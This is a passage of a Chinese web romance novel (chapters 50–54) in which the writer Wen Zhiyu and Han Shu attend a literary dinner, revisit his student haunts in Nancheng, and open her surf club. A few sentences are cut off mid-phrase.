闻知屿从沙发上丝滑坐地,顺道搂住盘腿窝在茶几边的韩暑,然后头抵在她的肩窝,蹭了蹭。 “嘛呢?”韩暑被他发梢闹得痒,边躲边忍不住笑。 闻知屿箍着她的腰,也不吭气,只是蹭了又蹭,像只讨好主人的大狗狗。 “哎哎哎,到底怎么了?” 闻知屿用小拇指勾韩暑的小拇指,绷着嗓音,“缺钱的话找我。” “……”韩暑顺毛捋他的发心,疑惑道:“闻老师,你是怎么做到,用最怂的语气说出最霸总的发言的?” 闻知屿这下不蹭了,直起腰杆,手肘搭在韩暑的肩上,就着大剌剌的坐姿粗声问:“听见了没?” 韩暑抱着肚子笑了好一会才停,合上笔记本,“用你的钱算怎么回事?放心吧,我有安排。” 闻知屿本来就怕她抵触,闻言也没再坚持。 折腾一整,又到了入睡时间。本该各自回房安然入睡,韩暑却踟蹰了。 早上闻知屿说什么来着? 对,让她睡主卧。 主卧不主卧的不重要,是否睡在一起很重要。 当然,她也不是排斥,就是感觉……同居,她还没准备好。满打满算,两人在一起不过四天,这也太快了吧! 韩暑抠沙发把手,不知道该怎么办,只是心里直打鼓。 突然,肩膀被撞了下。 闻知屿不知道什么时候飘了过来,用手臂紧紧贴着她的手臂,“咳。” 韩暑腰都硌住扶手,于是撞了回去,“咳。” 闻知屿挠挠颈侧,察觉方才力道有点大,将动作放轻柔,转为用肩膀挤了挤她,“今早我说的话,还记得吗?” 韩暑心扑通扑通的跳,挤回去,明知故问道:“说什么了?” 闻知屿挤一下,“说好的,住主卧。” 韩暑挤回去,“你你说什么呢?” 闻知屿又挤一下,“我打地铺,行不行?” 韩暑挤回去,“那和我睡客房有什么区别?” 闻知屿再挤一下,“不一样,你现在不是房客了。主客之间,必须有明确的区分。” 韩暑挤回去,“主人住哪,哪就是主卧。你这是形式主义。” 闻老师有点懵,想解释又不知道能说点什么,怎么都说不清。 韩暑有点后悔,她也不是想拒绝,就是、就是得说清楚嘛…… “不管了。”闻知屿骤然起身,抄膝窝和背将人凌空抱起,像偷了地里的西瓜被抓包的捣蛋小破孩,撒丫子就往二楼跑。 “喂!”韩暑被颠得发晕,冲他脑门一掌依旧没能阻挡他的步伐,“你怎么还搞强制呢?” 闻知屿绷着脸,“我不管。” 韩暑转而抓他头发,“放我下来!” “不放!” 闻知屿侧身进屋,用脚带上门。和早上一样,把人放进床上,展开被子卷吧卷吧卷成一个紫菜包饭,然后满意收手,弯腰亲了亲她的发心,“你睡吧。” 安顿好韩暑,他开始安顿自己。先是蹦跶着去够柜子最顶的格挡,结果被褥劈砸了一脸。他展开铺在床边,钻进去关灯一气呵成,“我也睡。” 韩暑用下巴锄了半天被子,终于呼吸顺畅了,“闻知屿,你——” “我就睡这,不用管我。” “不是,我——” “你放心,我绝对安分守己。我就是想和你待在一起,没别的意思。” 闻知屿知道她在想什么。女孩子有顾虑很正常,只是经过昨晚,他实在不想在午夜惊醒后盯着那扇冷冰冰的门,去思考自己究竟身处何方。 正当他努力措辞,去体现看似不单纯的提议背后的单纯动机时,韩暑滚到床边,探出头,无辜道:“我想去卫生间,你能往边挪挪吗?” “……” 闻知屿弹射坐起,往挪,打开台灯护送她去而复返,又坚持挪回床边。 韩暑翻身面向右手边,“晚安。” 手边,“晚安。” 两人共识,闻知屿为韩暑的存在心满意足,韩暑认为是循序渐进去适应。然而,还没等适应出个名堂,闻知之夜”的邀请。 闻知屿本来想拒绝,口胁迫。最终二人各后退一步,闻知。 秦建瓴在会场门口看到姗姗来迟的小情侣时,眼睛亮了一下又一下。 韩暑着一身墨绿色挂脖长礼服,挽起头发露出瘦削的肩背,垂感极强的材质随步伐飘动似水波粼粼。她没带任何首饰,反倒显得干净清雅。 至于闻知屿,还是一副寻常打扮,但有两处惹人注目。一处是臂弯挂着件西装外套,约莫是入场前披在韩暑肩上。第二处便是他那条双宫丝卷边领带,也是墨绿,和韩暑的裙摆同色。 “哎哟小暑妹妹,大变活人呐!” “现采买的。”韩暑不好意思地提了下裙摆。 ——毕竟去琼岛是度假,适合正式场合的衣服全都和辞掉的工作一并丢在北城。 闻知屿冷冰冰地瞥他一眼。 两人太熟,闻知屿动动指头秦建瓴都知道什么意思。他好笑道:“人家本来就比我小,要是连名带姓还显得生疏。小暑妹妹多合适?” 闻知屿冷哼,“换一个。” 秦建瓴举起双手,“那你说换什么?” 闻知屿拉着韩暑的手,率先走上台阶,然后居高临下道:“叫嫂子。” 韩暑:!!! “哎你占我便宜?”秦建瓴大步追上,“你明明比我小一个月,要叫也是弟妹吧?” 韩暑:!!! “嫂子。” “弟妹!” “嫂子。” “弟妹!” “闭嘴!!!” 韩暑一记眼刀扫过,阿呆阿瓜同时禁言。 步入会场,秦建瓴带着两人找到摆有名牌的座位,安顿韩暑坐下,又揪住闻知屿的胳膊不让他坐下,“小暑妹妹稍坐,借用你男朋友一会。” 闻知屿蹙眉,“又要干什么?” 秦建瓴压低嗓音,“右手边第一桌那个老头认识吗?《书屋》前主编。还有和他隔两个座位戴眼镜的女人,南城出版社的新任总编,跟我去打个招呼。” 闻知屿看都不看,“不想去。” “必须去!”秦建瓴搂着他的脖子把人薅走,还不忘冲韩暑点头,“就一会啊,你先吃!” 韩暑笑着点头。顺着指引看去,那一桌人头攒动,都是去和大拿打招呼的人。有的卑躬屈膝,有的挂着尴尬的笑容,有的如鱼得水,还有的—— 脸臭得像是别人欠他钱。 秦建瓴在人群中穿梭,和这个握握手和那个说两句,进退得体长袖善舞,跟在他身后的闻知屿冷着脸,别说打招呼了,脑袋转都不转一下。 好不容易到了大拿旁边,在一众举着酒杯的宾客间,闻知屿不仅空着手,还单手抄兜。秦建瓴悄摸扒拉他胳膊提醒他也不理,一副置身事外的泰然。 然而,谁都没想到,一直安然坐定的两位编辑站了起来,在一众恭谨的业内人士中,唯独和那个格格不入的臭脸握了握手。 闻知屿礼貌欠身,神色依旧如常,没有受宠若惊,更没有因为得到“偏爱”而改变他的行为举止和处事方式。 韩暑忽然想到了自己。 那个被迫看领导眼色端茶倒水的自己,拒绝不掉喝酒端着酒杯的自己,想要掀桌又没有勇气的唯唯诺诺的自己。 她没有闻知屿跳出牌桌的果敢。这份果敢的背后,是实力支撑,是性格独立,是他坚持做自己的决心。 闻知屿坐回座位上,终于舍得把左手从裤兜里掏出来。他牵住韩暑的手,拿起将韩暑已经打开且喝了两口的水一饮而尽。 “慢点喝。”韩暑叮嘱。 “没事。”闻知屿缓了缓,委屈巴巴道,“烦得很,咱一会先走,可以吗?” “我是陪你来,当然可以。”韩暑搔他的掌心,“不喜欢这种场合。” “对,只是老秦觉得我应该多和业内的人打交道。” “秦老师这么说有他的道理,人情社会嘛,多认识人总归好办事。” “也许吧,但不适用于我。”闻知屿解开西装扣,“我如果写出来一堆垃圾,就是跪下也不会有人多看一眼。如果写出来还算有质量,那就算站在桌子上,也会有人愿意欣赏。” 韩暑望着男人的侧颜,心念一动。此刻的他依旧有些紧绷,没有平时肆无忌惮的孩子气,也没有所谓成年人引以为傲的成熟。他只是一个作家,一个坚守初心的作家。 进程过半,闻知屿和秦建瓴打了招呼后带着韩暑先走了。 十月底的南城秋意中还残留着夏天的痕迹。 闻知屿将西装外套披在她身上,理了理垂到大腿的袖口,“冷不冷?” “不冷。”韩暑拢住衣襟,“和琼岛比不了,但已经算暖和了。要是在北城,十月底穿成这样,我得被送进精神病院。” 闻知屿摸摸她的手,掌心留有温度,这才放心,“老秦已经订好酒店了,咱们回去休息?” 韩暑摇头,“我想逛逛。” “去哪?” “去……你生活过的地方。” 韩暑紧紧抱着闻知屿的腰,裙摆和散落在头盔外的发丝在机车引擎声飞舞。他们破风而行,穿过大街小巷和车水马龙。 韩暑下巴抵住闻知屿的肩膀,大声问:“你怎么在哪都有摩托?” “方便走小路!”闻知屿侧首,也提高声音,“南城老建筑多,窄路多。坐稳了!” 韩暑再次收紧手臂,手掌紧紧贴着衬衫下的薄肌,笑容一点点扩大。 这是一座从未踏足的城市,但她丝毫不觉陌生。路旁闪烁的灯牌和笔挺的梧桐倒退,每一个灯牌下都可能是闻知屿吃过的餐馆,每一棵树都可能为闻知屿遮过风雨、挡过日光。 她想逆流而上去走他走过的路,或许这样,就能汲取勇气,成为和他一样勇敢的人。 “现在去哪?”韩暑问。 “去心脏寄存处。”闻知屿答。 50-57 第51章 第51章【VIP】 闻知屿将车停在划定区域,将头盔挂在把手上,就着跨坐的姿势反手扶韩暑,“小心。” “这是哪里?”韩暑踩着高跟鞋,站稳后才松手。 这是一条古朴的小巷,两旁的建筑年代感十足。四下张望,有各式各样的苍蝇馆子,有文具杂货店,都是老店。 闻知屿跨步下车,西装裤勾勒出修长紧实的腿部线条,“柳荫路,离南城大学西门不远。” 方才上车没留意,这会韩暑看得真切,抿唇笑道:“西装革履骑机车,帅呀闻老师。” 闻知屿锁好车,正要自豪地挺直腰杆,便对上了两只发光的眼睛。那直勾勾的视线从领带到衬衫下摆后还在下移… 韩暑眼前骤然一黑,躲了下没躲掉。 “往哪看呢?”闻知屿低声问。 眼皮是肌肤相贴的温热,脸颊是呼吸喷撒的凉意,韩暑舌头打结,“说说什么呢?” “不承认?”闻知屿又靠近一分,“嗯?” 这人就是故意逗她。既如此韩暑也不再扭捏,“我就看,就看!你能把我怎——” 闻知屿吻了下去,一触即分后撤开了些距离。他的手掌盖住了她的半张脸,只露出小巧的下颌和因为吃惊微张的唇。他看着眼热,顾不得身处何处,埋头深吻。 “闻——唔!!” 在这一隅黑暗中,唇齿攻势汹汹。韩暑退一寸,闻知屿便进一寸。她被迫向后仰去,肌肉骨骼因承压而颤栗。 脑袋昏昏沉沉之问,她唯一的念头是甩掉眼皮的重量。四肢绵软之下,她只得徒劳地眨眼、用睫毛去蹭他的掌心。可换来的是愈发狂烈的攫取。 “滴滴!” 远处的汽笛声打破了这片刻的亲昵温存。 闻知屿终于松了手,转而将韩暑抱进怀中,“可以喝啤酒吗?” 再次接收四面八方的灯光,韩暑觉得有些晃眼,于是将额头抵住他的前肩,“去哪喝?” 闻知屿勾唇,“跟我来。” 闻知屿带着韩暑去小超市里提了两瓶啤酒,沿着看不到尽头的巷子向前走。 他们一个衬衫西裤、一个长裙礼服,走过熙攘的路边摊,踩过尚有油渍的青砖,经过无数青春洋溢的面孔。 他们格格不入,又乐得其所。 韩暑挽着闻知屿的手臂,伸出啤酒瓶,“干杯。” 闻知屿轻轻碰上,脆响自是被喧嚣淹没,“干杯。” 辞职之后,韩暑再没喝过酒。故而半瓶啤酒下肚,已经有微醺的趋势。她顺着酒精作用下的松散,拖着长长的语调,“你上大学的时候,常来这里?” “嗯。”闻知屿撑住她的重量,让她稳稳走过几节黑乎乎的台阶,“几乎每天都来。” “每天都喝酒?”韩暑睁大眼睛。 “十有八九吧。”闻知屿轻嗤,“当时状态不好,写的稿子没杂志出版社看得上,一直处于抑郁和自闭的边缘。” 人行道窜出两辆自行车,闻知屿立刻将人从右臂弯揽到左臂弯,又向侧方让了几步。 “叮叮!” 韩暑偷瞄了一眼他紧绷的侧颜,轻松自然道:“闻老师每天提着酒瓶散步,然后呢?喝完去哪?” 闻知屿晃晃酒瓶,“喝完就知道了。” “行。”韩暑仰头,干脆利落地喝掉剩余的酒,然后将瓶子上下颠倒,“喝完了。” 闻知屿目瞪口呆,旋即失笑,“不是催你的意思。” 韩暑举起酒瓶作势要砸,“我是催你的意思,别养鱼啊闻老师!” 闻知屿黑眸半眯,“成天闻老师闻老师,换个称呼。亲密一点。” 韩暑捏着下巴,“嗯…喝完就换。” 换字还没说完,闻知屿已经喝完了。他用拇指蹭过唇角,“换。” 韩暑哧哧笑,拉着闻知屿往前走,“带路崽崽。” 闻知屿不得不跟上,面露不解,“你叫我什么?” “崽崽啊,够亲密吗?” 闻知屿想点头,但又没弄懂什么意思,踟蹰道:“是好的含义吗?” “当然,乖崽崽的意思哎!” “那行。”闻知屿一个劲笑,“那你也是崽崽。” “我不是!” “那你是什么?” “嗯……崽崽拥有者。” “好像有点绕口。” “也是,那我再想想。” “我已经想好了。” 韩暑期待,“什么什么?” ,“宝宝。” “……”韩暑无语,呢。” 闻知屿侧首看她,“不喜欢?” “向扭头,躲避他的视线。 见状,,压着嗓子和气息,呢喃,“宝宝。” 韩暑:!!! 犯罪犯罪犯罪!!! 她耳朵爆红,手指开始揪西装下摆,好半天都说不出话来。 闻知屿吻了下她的耳垂,撤开,“就这么定了。” 凝固的空气重新流动起来,韩暑深吸一口气,“好的,崽崽。” “好的,宝宝。” “崽崽?” “宝宝。” “崽崽。” “宝——到了宝宝。” 闻知屿将韩暑拉了回来,抬手指门头,“一方书店。” 韩暑仰头,门牌经风吹日晒已然泛黄褪色,但一方书店四个刚劲有力的大字风采不逊当年。自双开玻璃窄门往里看,一排排书架整齐排放,没有网红书店的精致,却多了几分古朴和历经岁月沉淀的韵味。 “喝完酒,来看书?” “对。”闻知屿眸色悠远,“那时候老板是位头发花白的爷爷,见我总站着看书,还专门给我安排了一个独座。躲在那看书,听着店外的嘈杂,就像寻到了暴风雨中的宁静。” 韩暑晃晃胳膊,“那进去看看?“ “好。 门铃声响起,收银台后探出一个脑袋,是个年轻的男孩,“欢迎光临,随便看看。新书二手书都有。” 闻知屿有些恍惚,一时没应声。韩暑微笑道谢,松开手,率先向里走去。 她掠过大学教材、英语四六级部分,一直到社会科学、文学类才驻足。这是一面通顶靠墙的木质架,放眼望去有加缪马尔克斯和赫胥黎,还算熟悉。她驻足良久,正想转身看看另一边,却被最下面一个天蓝色的书脊吸引了目光。 韩暑提起裙摆蹲下,手指抵住硬皮,一点点抽了出来。 《晚安集》闻知屿。 六个字蹦入眼中。 与此同时、一只手落在了她的肩头。 “右手边那个角落,就是我之前坐的地方。”闻知屿微叹。 韩暑拿着书起身,宽大的西装外套不仅掩住她的手臂,连同书一并藏起,“这里?” “嗯。”闻知屿自嘲,“像不像乞丐?” 那是一个隐蔽又阴暗的角落,此刻堆满了缠书的硬绳和包装纸。比起专座,更像是个垃圾堆。 韩暑握了握他的手,兀自走过去,转身,一撩裙摆便在那一堆杂物上坐定,莞尔一笑,“这样吗?” 闻知屿瞳孔微缩,“小暑——” 韩暑丝毫不嫌弃,自然地靠着墙,开玩笑道:“坐在这里的不是乞丐,是书店里的小王子。” 闻知屿盯着那在四散至地板上的裙摆,像被勾了魂,一步一步靠近。 韩暑从西装下摆伸出手来,“*噔噔!闻老师看看,这是什么?” 闻知屿屈膝蹲下,微怔,“我的书?” “嗯哼。”韩暑下巴抵在书顶,“就在那个书架上,这本我今天要买。” “家里有。”闻知屿道。 “那怎么一样?”韩暑说,“当年你坐在这,就是仰望梦想的小王子。现在,梦想就在你的手心。” 闻知屿垂下眼睑,心里百感交集,一时有些哽咽。他握住她的手,哑声道:“这里曾经是——” “你的心脏寄存处,我知道。”韩暑亲了下他的下颌,“现在,寄存的心脏取回来了吗?” 闻知屿点点头,又摇摇头,“取了,又重新寄存了。” 韩暑眨眨眼,“嗯?为什么?” 男人亲了亲她的手背。 “因为交给你了,永久寄存。” 第52章 第52章【VIP】 韩暑怀里揣着书,闻知屿牵着韩暑。两人走啊走,一直走到南城大学的正门口。 韩暑在阻拦机动车的石墩子上坐下,翘腿揉着脚踝,“你读文学院?” “嗯,老秦也是。”闻知屿蹲下,解开高跟鞋的腕带,将她的脚搭在自己的膝盖上,“抱歉,是我考虑不周,让你走了这么久的路。” 粗粝的触感取而代之。闻知屿慢慢按摩,手指一点点经过那纤细的脚踝,力道刚刚好。 韩暑将下巴藏进衣领,也藏住害羞,“没事。你再讲讲大学的故事呗!” 闻知屿薄唇微抿,苦思良久后道:“好像没什么故事,就是按部就班的上课投稿。” 韩暑哼哼,“那感情呢?” “感情?” “就没有姑娘喜欢你追你?你没追过喜欢的姑娘?” 闻知屿表情有瞬间的僵硬。 韩暑一把捏住他的下巴,“果然!老实交代!” “我老实着呢!”闻知屿蹭她的手,“就是、就是——” “快说!”韩暑另一只手揪住他的耳朵。 “我说我说。”闻知屿吃痛皱着脸,“最开始确实有人追我,不过后来光荣事迹传开后就没了。” “什么光荣事迹?” “就有个女生光天化日表白,说愿意等我,等到毕业都可以。我说……”闻知屿咳了一下又一下,“可我毕业之后打算去精神病院定居。” “噗!”韩暑一个没忍住笑了出来,摇晃他的脑瓜,“毒舌。” 闻知屿任她为所欲为,自己也笑。 “闻知屿?” 两人同时一僵,同时仰头。 一位头发花白但精神矍铄的老人背手凑近,镜片闪烁探究的目光。 “张教授。”闻知屿脸皮泛红。 “果然是你。”张教授右手背砸左手心,“就说嘛、看身形像,听声音也像。什么时候回来的!” “来南城参加活动,刚好有时间过来看看。” 韩暑尴尬地恨不得抠个洞钻到地球另一边,慌忙将脚塞回鞋子起身。谁料高跟鞋不稳,整个人一晃,还是被闻知屿揽进怀中。 韩暑更尴尬了,想挣脱却敌不过他的力道,偷偷戳他的腰也以被攥紧掌心失败。 “女朋友?”张教授看在眼里,乐呵呵地问。 “嗯。”闻知屿含蓄地笑了下,转而和韩暑道,“我的导师,张教授。” “张教授好。”韩暑乖乖打招呼。 “哎呀,好好好。”张教授频频点头,“般配,合适。” “谢谢。” “是我得谢你。”张教授真诚道,“当初好多姑娘对他示好,他都不为所动。我都怀疑他是同性恋喽!” “好多姑娘示好?”韩暑睨闻知屿,“这么受欢迎?” “那你以——”在闻知屿疯狂使眼色下,张教授话锋一转,“别担心,我们小闻用现在年轻人的话讲,就是男德满分好青年!” 张教授诙谐幽默,韩暑很快就忘了最初的尴尬,津津有味的听了起来。闻知屿和导师聊了聊近况,聊了聊最近出版的书,也聊了聊过去的时光。 回程,韩暑趴在闻知屿背上,闻知屿提着高跟鞋,勾住她的膝窝,稳稳地走着。 “哎,你真为了找灵感半夜去天台,被室友误认为要自杀还报了警?” “嗯。”闻知屿脸瘫了,“那个室友就是秦建翎。” 韩暑不觉得惊讶,甚至觉得很适合阿呆阿瓜。她笑了一阵,问:“你还因为发现同学写的文章抄袭,大闹文学院院办?” “那叫证据确凿。”闻知屿轻哧了一声,“开篇和《大雪将至》一模一样,且不说剧情都是用藤条椅背着将死之人在大雪中赶路,连说的话都大差不差。真以为奥地利文学作品小众到没人看过?” 韩暑也不觉得惊讶,这是一个作家的职业素养。她又问:“导师对你那么好,你还拒绝了保研?” “嗯。”闻知屿绕开路上的积水,“我很明确的跟他说,我不喜欢这套所谓科班的培养体系。” “张教授怎么说?” “他说我天真,我的那套想法根本实现不了。” 韩暑默了默,“然后呢?” “然后……”闻知屿半蹲,将她轻轻放下,“我说可能实现不了,但如果我按部就班更实现不了。” 当凉爽的晚风与机车车身平行扫过,韩暑将一只手臂举向天空。圆月高悬,像一场旖丽的梦。 样,做一个自己的梦。 道,“我决定,接下戒浪啦!” 车身轻微颠簸喊道:“好,你只管放手去做!” 失败又如何? 总好过从未开始。 25岁的韩暑,人,也选择了一条路。 到了酒店,行李已经送到房间。以及,正中央那张两米大床令人瞩目。 韩暑坐在床沿,仰头问道:“你还要睡地板吗?” 闻知屿单手抄兜指身后,“睡沙发。” 那是一个比闻知屿主卧里沙发还小的沙发,别说一米八五的男人了,就是韩暑都伸展不开。 她拉住闻知屿的袖口,“别睡沙发了,睡床。” 闻知屿一怔,而后拒绝,“没关系,我睡眠质量还不错,睡哪都一样。” 睡哪都一样?韩暑快被气笑了,“那我睡客房和主卧也一样,回去我就搬走。” “不是这个意思。”闻知屿摸不着头脑,“我就是觉得——” 韩暑双臂挽上闻知屿的后颈,肩头的西装外套应声落地。不只是酒意还是今晚发生的一切、她发觉自己的身体里隐藏着前所未有的勇气。 “和我一起睡又能怎样?”韩暑抬着下巴问。 闻知屿脑子化为一团浆糊,掌心落与她的后腰、晕晕乎乎间问:“你今天怎么了?” “……”韩暑气不过,垫脚咬他的下唇,“你不是说心脏给我了吗?” “是。”闻知屿吃痛却没躲,又问,“怎么了?” 怎么了怎么了怎么了! 都暗示到这种程度了,怎么还这副傻样? 这和下午当街捂着她眼睛猛亲的是一个人吗?! 韩暑鼻子出气,“心脏都给我了,要不把身子也给我吧!” 闻知屿:!!! 闻老师呆滞了,眼睛一眨不眨盯着她,“身子?” 说出虎狼之词的韩暑将闻知屿的衬衫下摆从裤腰抽了出来,柔若无骨的手滑了进去,顺着皮带边沿向上摸去。 闻知屿衣服乱了,气息乱了,心跳乱了,完全乱了。像缴械投降的士兵,在猛烈的炮火中无可抵抗。 暗示转为明示,韩暑完全破罐子破摔。她才不管在一起刚十天还是多久,反正她不想再畏首畏尾,不想再瞻前顾后。她就是要顺心而为,做想做的事。 “你喝醉了。”闻知屿沙哑道。 韩暑浑不在意,扑得闻知屿后退了好几步才稳住身形,肩带也轻飘飘地滑落了一半,“醉了就醉了,你没醉?” “我没醉。”闻知屿像是在念接触定身术的咒语般重复,“我这会很清醒,很清醒。” 韩暑唇瓣微张,贝齿咬住他滚动的喉结,含糊道:“等会就不清醒了。” 三秒后,韩暑清醒了。 闻知屿用力挣开她的手臂,捡起西装将她裹得严严实实,又把她摁在床边坐定,然后转身背对,双手攥拳,不动了。 韩暑像被一盆冷水从头浇下,手指都因为紧张和不知所措而发麻,“闻知屿,你、你什么意思?” 闻知屿不说话。 韩暑颤着嗓音,“这是拒绝?” 闻知屿还是不说话。 韩暑自小到大都是乖乖女,第一次冲破枷锁、放下害臊的尝试以被拒绝告终。她只能想到三个字,就是伤自尊。 是以她站起来就走,想要逃离这个密闭的令人无法呼吸的空间。 然而门刚开了条缝,便被大步追上来的男人摁了回去。 闻知屿焦急,“你去哪?” “要你管。”韩暑推搡他。 闻知屿看到她通红的眼睛,终于明白了过来,语无伦次道:“我、我不是拒绝的意思!不是,我刚才是拒绝,但不是拒绝你……不是,是拒绝了你——” 听这欲盖弥彰的解释,韩暑更难受了,转身便要去拉门。 闻知屿也顾不得面子里子了,大声道:“我暂时拒绝的原因是,我、我得先学习一下理论知识!” 第53章 第53章【VIP】 韩暑醒来的时候没敢睁眼,感觉世界都灰暗了。 她昨天到底怎么想的! 生扑? 生扑! 还是像恶霸强占娇花的那种扑! 韩暑蛄蛹着翻身,装作不清醒的样子,手往右边摸去。床单冷冰冰的,没有人躺过的样子。 不在就好,她还能想想怎么悄无声息不着痕迹地燃过去。 韩暑舒了口气,终于睁开了眼睛。!!! 两只手臂远的距离之外,闻知屿半边身子悬空,枕手臂侧躺在床沿上,清醒到毫无睡意的眼睛一眨不眨盯着她。 韩暑立刻闭上眼,不敢相信眼前的一切。 “早。”闻知屿说。 韩暑依旧闭着眼,装模作样地伸了个懒腰,“早。” 侧耳倾听,旁边传来细细碎碎的响动,紧接着又安静了。 快别说了。 求求你,快别说了! “小暑。”声音似乎近了些。 韩暑双手攥着被子沿,“嗯?” 闻知屿轻声道:“你昨天说的话还作数吗?” 韩暑差点哭出来,掀被子就想盖住头,却被人攥住了手腕。 “闻知屿——”她睁开眼,被近在咫尺的俊脸吓一跳。 闻知屿用鼻尖碰她的鼻尖,“叫崽崽。” 韩暑叫不出口,且觉得自己有病。她紧紧抿着唇,一脸惊恐。 闻知屿看在眼里,于是又碰了下,“看来是反悔了。” “我我喝多了,想不起来了。”韩暑梗着脖子,虚张声势,“你怎么睡在床上?” 闻知屿无辜,“是你非要拉着我,我只能睡在床沿。嘶——胳膊还疼着呢。” “谁拉着——“韩暑戛然而止。 一些画面不受控制地跳进脑海。 闻知屿抱着被子走向沙发,韩暑拉他手腕。 闻知屿要躺在地下,韩暑架着他的嘎吱窝。 闻知屿坐在床边,韩暑掐脖子把他摁进枕头。 …… 喝酒误人,夜晚误人,美色也误人。 “你胡说,我没有。”韩暑恶狠狠。 闻知屿轻笑,用指腹刮她的鼻尖,“好,我胡说。” 他翻身下床,顺带把手机塞进裤兜。一夜之后,这部手机已经不只是手机,而是一部装满了知识的手机。 和离婚相关法条、继父自我修养一样,这些知识也用不到了。 不对。 闻知屿站在花洒下,闭着眼任略凉的水流冲刷。 只是暂时用不到,早晚能听到。 洗完澡出来,韩暑已经收拾妥当,趴在窗边捏着手机发呆,似乎情绪不佳。 闻知屿从后圈着她,发间的水滴通通落在了圆领之上细白的颈侧,“怎么了?” 韩暑瑟缩,然后反手摸他的发心,“我和我闺蜜提了要接手戒浪的事情,她说我即将被爸妈混合双打揍晕。” 闻知屿沉声道:“不管他们支持不支持,我支持。” “我知道。”韩暑嘟囔,“但我怕他们生气,又杀到琼岛来绑架我。” “那就等走上正轨在告诉他们。” 韩暑笑了下,没应声。 下定决心盘下店,韩暑也无心多待。当天两人飞回琼岛,第二天就去后海和春景谈这件事。 “小暑,你真的想好了?”春景站在有些空荡的大厅,肉眼可见地震惊了。 “当然。”韩暑见她如临大敌,反倒不紧张了,笑道,“怎么啦?舍不得?” “不是。”春景掌心摁着额头,“如果是之前,我二话不说交给你。但现在出了这样的事情,换家店还好,如果还按照之前的模式继续运营,肯定有很多人迁怒于你,生意也会受影响。” “这些我都想好了,不然怎么敢这么果断地接下来?”韩暑起身走向吧台。 曾经摆满各式各样的咖啡豆、饮品、酒类的架子已空空如也,只有价值不菲的咖啡机还留在原地,提醒她记忆中的画面曾经真实存在过。那些欢声笑语,真实存在过。 “但现实和方案完全不同。”春景摩挲龟背竹的叶片,“后海客流量这么大,倒闭的店也比比皆是。沉淀成本太高。” 韩暑绕进吧台,坐在春景常坐的地方,“我是抱着血本无归的打算开始的,你说的我都想过,我也都能接受。” “但是——” “没有但是。”韩暑冲吧台外的高脚椅比了个手势,学着春景的语气说,“请坐。” 下去,无可奈何地笑了。 而坐,只是坐的地方换了,身份换了。 二人都有片刻的恍惚。 “ “差不多了。” 韩暑转了转椅子, “周六。”春景呼气,“还有四天。” “巴厘岛?” “嗯,去追大浪。” 韩暑四下张望,在那面照片墙上,找到了第一天来时春景给她看的照片。如今,她踩着板头、在势不可挡的浪花上保持完美平衡的照片也挂在了上面。 “好看。”韩暑抬手指了指春景的照片,又指了指自己的照片。“不愧是老板。” 春景笑着点头,“是,好看。” 最终,春景几次让价,以五万的费用完成店铺的转让,还留下了一众设施,包括那台意式咖啡机。 她和铭哥走的那天,是闻知屿和韩暑开车送的。 到了机场,铭哥和二人道谢后,拖着两个大箱子、背着两个冲浪板走到一边等待。 韩暑挽着闻知屿,笑吟吟道:“一路平安,春景。” 春景却直接抱了上来。 两人身高差没有十厘米也有八厘米,韩暑垫脚回抱的时候感觉自己像个小豆丁。 春景似乎察觉到她的想法,“冲浪能长高,努努力。” “诓我?”韩暑不信。 春景笑道:“祝小暑老板生意兴隆。” “谢谢。” 临走前,春景还不忘和闻知屿叮嘱,“对我们小暑好一点啊!否则我飞回国找你算账。” 韩暑斜睨,轻抬下巴,“听见了没?” 闻知屿用力搂住韩暑的腰,心情终于舒畅了些。方才两人抱那么久,险些忍不住上去把春景扒拉开。他颔首,“放心。” 春景也是见证了二人的爱情全过程,瞅这腻歪劲也满意了,“那就好。” 闻知屿淡声道:“戒浪,你也放心。” 春景一怔,旋即明白过来,重重点头。 说笑着告别还好,当高挑的男女消失在出发大厅,韩暑眼眶一热,只觉怅然。 “还会见吗?”她问。 “只要想,天涯海角都能见到。”闻知屿换了只手,带她转了个身,向停车场走去。 “也是。”韩暑深吸一口气,“我有点紧张。” 闻知屿轻笑,“不是做好血本无归的打算了吗?” 韩暑掐他,“我就那么一说,谁想赔钱啊!” 闻知屿吃痛发出嘶声,却没躲,“之前不是很有底气吗?” “我那、那是心理暗示法,先表现的自信,表现着表现着可能就真自信了。”韩暑越说越没底,声音也越来越低,“转让费加上装修、运营的费用,少说也是十万出头……” 闻知屿暗自好笑,亲了下她的脸侧。恰好走到车位,他拉开副驾驶,“先上车。” 韩暑耷拉着脑袋,慢吞吞地坐上去,慢吞吞地系好安全带,可等了半天还没听到关门声。她抬头一看,闻知屿单手撑着车顶,黑眸敛笑,薄唇翘起一个明显的弧度。 “你还笑?”她鼓着脸,气呼呼地打他,“绝交!我不和你做朋友了!” 闻知屿凌空逮住她的手,死死攥在掌心不让挣脱,“不做朋友,那做不做女朋友?” “不——”韩暑抿住唇,把不该说的气话憋了回去。 闻知屿心满意足,亲了下她的手背,“别一副如临大敌的模样,忘记我说什么了?” 韩暑用食指指甲抠拇指指侧,“什什么?” “我说,你男朋友财大气粗,就算真赔的血本无归也没关系。”闻知屿不知想到什么,轻笑出声,“真赔了,我今年就多写几本书。你多回答几个问题,激发一下我的灵感就好。” “你认真的?” “当然。” “你要把钱给我?” “不行吗?” “不行。”韩暑晃他的手,正色,“那是你的钱,我不要。” 被拒绝的闻知屿莫名委屈,眉头都皱成了一团,“可我留着也没处花。” 韩暑被他的表情逗笑,“那也留着!我不需要!” “那需要的时候呢?”闻知屿追问,“需要的时候,花我的,行不行?” 韩暑知道,他是在宽她的心,让她不要那么大压力。最终点了下头,“真需要的时候,我问你借,打欠条。” 闻知屿原还想反驳,对上她警告的视线后哑火,蔫巴巴地哦了一声。 韩暑正式开始忙碌的创业生涯。大到运营理念和翻新装修的风格,小到选什么样的杯子和门牌,全都由她一手操办。过去的教练和员工义工有的离开另寻出路了,有的一早就打了招呼,甚至天天来店里帮忙。 一个月后,戒浪更名为逐浪,正式开业。 清晨,韩暑和闻知屿一人推开一扇门,将门牌从close翻到open。 闻知屿伸出右手,掌心向后,“恭喜开业,老板。” 韩暑伸出左手,稳稳牵住,“恭喜开业,老板娘?” 第54章 第54章【VIP】 闻知屿坐在一楼楼梯口,支着下巴,一边怀疑人生,一边等待那久久不来的脚步声。 恋爱刚过一个月,他、被冷落了。 韩暑的生活重心完全放在了逐浪。 六点起床到八点吃早饭要洗漱化妆顺便做宣传稿的设计,早饭之后到晚八点泡在俱乐部,回到家还要复盘当天的客流量、营收、饮品受欢迎情况、教练课时安排和学员课后体验。 